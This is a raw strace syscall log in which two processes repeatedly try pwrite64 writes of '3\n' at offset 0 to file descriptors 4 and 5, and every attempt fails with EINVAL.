[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
